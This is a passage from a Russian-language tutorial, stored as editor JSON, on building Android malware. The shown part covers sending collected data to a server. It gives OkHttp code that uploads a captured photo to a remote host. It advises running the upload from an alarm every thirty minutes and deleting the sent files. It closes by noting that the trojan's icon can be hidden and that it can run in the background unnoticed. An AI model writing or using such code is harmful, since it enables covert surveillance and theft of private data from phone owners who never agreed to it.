\n","type":"unstyled","key":"d17f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Отправка данных на сервер","type":"header-three","key":"97ofs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:","type":"unstyled","key":"dkmlu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":574,"offset":0,"style":"BOLD"}],"text":"private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(\"image/jpeg\");\n\npublic void uploadImage(File image, String imageName) throws IOException {\n OkHttpClient client = new OkHttpClient();\n\n RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)\n .addFormDataPart(\"file\", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))\n .build();\n\n Request request = new Request.Builder().url(\"http://com.example.com/upload\")\n .post(requestBody).build();\n\n Response response = client.newCall(request).execute();\n}","type":"unstyled","key":"b6oa7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Вызывать этот метод нужно из метода onReceive() класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.","type":"unstyled","key":"860il"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Ну и конечно же, на стороне сервера тебе необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер ты используешь.","type":"unstyled","key":"9a71l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Выводы","type":"header-three","key":"bqg17"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому написать полноценный троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.","type":"unstyled","key":"3r77m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Будь осторожен с Android 8. Она хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление.","type":"unstyled","key":"88n9k"},{"data":{},"depth":0,"entityRanges":[{"key":2,"length":15,"offset":0}],"inlineStyleRanges":[{"length":15,"offset":0,"style":"ITALIC"}],"text":"источник статьи","type":"unstyled","key":"bh6l4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"66WvnR42yw0SYva5vTre"}],"entityMap":{"0":{"data":{"href":"https://blog.gdatasoftware.com/2017/04/29712-8-400-new-android-malware-samples-every-day","url":"https://blog.gdatasoftware.com/2017/04/29712-8-400-new-android-malware-samples-every-day"},"mutability":"MUTABLE","type":"LINK"},"1":{"data":{"href":"http://onesignal.com/","url":"http://onesignal.com/"},"mutability":"MUTABLE","type":"LINK"},"2":{"data":{"href":"https://telegra.ph/Malvar-dlya-Android-09-14","url":"https://telegra.ph/Malvar-dlya-Android-09-14"},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}